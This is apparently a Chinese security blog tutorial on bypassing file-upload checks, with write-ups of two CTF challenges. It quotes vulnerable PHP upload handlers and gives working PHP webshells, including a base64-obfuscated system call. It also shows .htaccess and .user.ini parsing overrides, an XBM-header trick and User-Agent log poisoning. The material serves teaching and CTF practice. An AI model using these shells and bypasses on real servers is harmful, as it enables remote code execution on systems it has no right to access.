常见文件上传校验及其绕过

393次阅读
没有评论

共计 5397 个字符,预计需要花费 14 分钟才能阅读完成。

常见文件上传校验及其绕过

基础部分:

1.JS代码进行前端校验

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

可以禁用JS或者抓包修改,防护约等于没有

2.数据包MIME校验

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']            
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}

通过检验前端发来的MIME数据校验文件类型,我们只需抓包修改

常见文件上传校验及其绕过

这里我们尝试上传一个phpinfo,可以看到被拦截下来了

我们修改content-type为image/png

常见文件上传校验及其绕过

可以看到文件被成功的上传了

3.文件头校验

这里可以用winhex或者010editor修改文件头或者将图片文件和木马合并起来

实战中我们可以手动在木马前面添加GIF89a(GIF图片文件头)来进行绕过

进阶部分:

1.文件后缀黑名单

对部分文件后缀进行限制

如:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

1.如果对文件后缀考虑不周到的话可以用一些不常见的拓展名绕过如:

常见文件上传校验及其绕过

2.对大小写敏感的话可以尝试大小写绕过

由于Linux是一个对大小写敏感的操作系统,所以file.txt和file.TXT会被视作两个不同的文件

在win则会视作两个相同的文件

3.双写绕过

如果服务器只对文件后缀置空的话,我们可以尝试对文件名进行双写,类似与SQL注入的双写绕过

4.htaccess绕过

apache特有的配置文件

可以将指定文件后缀或者文件名当作php文件执行

如:

<IfModule mime_module>
AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>

<FilesMatch "evil.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>

以及

<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>

#和第一个效果一样但是字数更少

只适用于windows靶机的绕过方式

空格绕过

  • 原理:在文件名的前面或者后面(主要是后面,因为一般过滤后缀名)添加空格,此时函数匹配不到,但是带有空格不影响解析。
  • 方式:抓包,改文件名,在文件末尾添加空格。
  • e.g. “a.php” -> “a.php ”

.绕过

  • 原理:与空格绕过类似。
  • 方式:抓包,改文件名,在文件末尾添加.
  • e.g. a.php -> a.php.

::$data绕过

  • 原理:在Windows中,访问<file>::$data就是访问文件本身,访问<dir>:<file>::$data就是访问dir文件夹中的<file>
  • 方式:抓包,改文件名,在文件末尾添加::$data
  • e.g. a.php -> a.php::$data
  • 注:访问时文件名后不加::$data

2.文件白名单校验

00截断

条件:PHP < 5.3
php.ini配置文件中 magic_quotes_gpc 为 off

  • 原理:系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束,从而忽略后面的内容。
  • 方式1:抓包,利用0x00的URL编码%00修改文件名。
  • e.g. a.php -> a.php%00.jpg
  • 方式2:当截断内容在POST数据中,修改对应位置为一个;(自选),然后直接修改16进制内容为00,再发包。

图片马利用

需要解析漏洞或文件包含漏洞

  • 原理:将马放入正常图片中,骗过检测。
  • 图片马制作方式:
    • copy 命令copy a.jpg /b + a.php /a shell.jpg
    • 手动写入:记事本编辑写马即可。
  • 注:上传的文件本质上依然是一张图片,所以需要通过抓包修改后缀名上传配置文件利用文件包含漏洞等方式使得该图片马被当成php文件解析。

上传配置文件绕过

.htaccess文件绕过

中间件为apache

  • .htaccess文件(或者“分布式配置文件”):一个纯文本文件,它里面存放着Apache服务器配置相关的指令。主要的作用有URL重写、自定义错误页面、MIME类型配置以及访问权限控制等。主要体现在伪静态的应用、图片防盗链、自定义404错误页面、阻止/允许特定IP/IP段、目录浏览与主页、禁止访问指定文件类型、文件密码保护等方面。
  • 原理:上传.htaccess文件,重写文件解析规则,实现绕过。
  • e.g. jpg文件的源码会被解析为php代码AddType application/x-httpd-php .jpg

.user.ini文件绕过

服务器启用了 fastcgi 模式

  • .user.iniPHP支持基于每个目录的 INI 文件配置,实际上就是一个可以由用户“自定义”的php.ini
  • 有利用价值的配置(相当于文件包含)auto_prepend_file = <filename> //包含在文件头(常用) auto_append_file = <filename> //包含在文件尾
  • e.g. 执行phpinfo// .user.ini auto_prepend_file = 1.jpg // 1.jpg <?php phpinfo();?> // 1.php(任意php文件)
  • 局限:如果可以配合目录穿越漏洞,就能实现任意文件包含;如果不可以,则只能包含同一目录下的文件。
  • 利用:配合日志包含,在请求头(一般是UA字段)写入木马。auto_prepend_file=/var/log/nginx/access.log UA: <?=eval($_POST[x]);?>

3.文件内容校验

过滤php:<?=eval($_POST[x]);?>

过滤[]<?=eval($_POST{x});?>

过滤;[]<?=system('tac ../flag.*')?>

过滤()<?=tac ../fl*?>

过滤<?:

<script language="php">
  echo "Legacy Code";
</script>

注:最后一个需要旧版本的php(5.6以前是完全支持的,7.0以后全部废除)才能绕过

过滤敏感字符如:$_GET,system等

可以尝试编码绕过,如:

<?php eval(base64_decode("c3lzdGVtKCRfR0VUWydjbWQnXSk7")); ?>

4.一些杂七杂八的绕过方式

多文件上传

可以上传多文件但是只检查第一份文件

  • 显然,只需要第一份上传合法文件,第二份上传马即可。
  • 注:将第二个文件表单的action设置为绝对路径http://xxx.com/<file>以确定文件上传的路径,方便利用。

%00截断

条件:PHP<5.3.4

PHP白名单早期的一个漏洞

我们上传1.php%00.jpg时,php识别后缀为.jpg,但实际存储的时候是.php结尾

配合文件包含漏洞

当服务器上传文件处没有任何漏洞,我们就要考虑是否是上传一个含马文件再将其包含

例题讲解

1.GHCTF-2025 UPUPUP

https://www.nssctf.cn/problem/6590

初步尝试发现校验了MIME和文件头(实际上是使用了getimagesize)以及黑名单校验

试了一圈发现并没有文件包含漏洞那么问题就有点复杂了

基本上所有的可执行文件的后缀都被禁了

这个时候我们考虑.htaccess文件,但存在文件头校验,如果使用GIF89a或者其他文件头整个服务器就会报500。

当时看了很久也没想出来,还是后面看WP才知道还有这种操作

常见文件上传校验及其绕过

.htaccess文件是可以用#号注释的,但是我们又要绕过文件头校验。

那么有没有一种文件是用#号开头呢?

有的兄弟,有的

历史上存在一个叫XBM的图片

下面是一个简单的XBM图片

#define test_width 16
#define test_height 7
static unsigned char test_bits[] = {
   0x00, 0x00, 0x00, 0x80, 0x00, 0x60, 0x00, 0x30,
   0x00, 0x18, 0x00, 0x0C, 0x00, 0x06, 0x00, 0x03,
   0x00, 0x03, 0x00, 0x06, 0x00, 0x0C, 0x00, 0x18,
   0x00, 0x30, 0x00,

那么现在我们就可以绕过getimagesize了

#define width 1
 #define height 1
 <FilesMatch "hey.hey">
 SetHandler  application/x-httpd-php
 </FilesMatch>
常见文件上传校验及其绕过

蚁剑连接即可

2.[NewStarCTF 2023 公开赛道]Upload again!

https://buuoj.cn/challenges#[NewStarCTF%202023%20%E5%85%AC%E5%BC%80%E8%B5%9B%E9%81%93]Upload%20again!

进来后发现是一个文件上传页面

fuzz一下后发现过滤了文件内容<?和文件后缀黑名单

那我们来看一下php版本

常见文件上传校验及其绕过

我们可以用之前说的办法绕过<?,可是可执行的php后缀基本全部被禁止了

由于是文件名黑名单,我们可以考虑.htaccess文件上传

.htaccess

<IfModule mime_module>
AddHandler php5-script .png        
SetHandler application/x-httpd-php   
</IfModule>

上传后再上传个图片马


<script language="php">
eval($_POST['cmd']);
</script>

正文完
 0
Rycarl
版权声明:本站原创文章,由 Rycarl 于2025-04-28发表,共计5397字。
转载说明:除特殊说明外本站文章皆由CC-4.0协议发布,转载请注明出处。
评论(没有评论)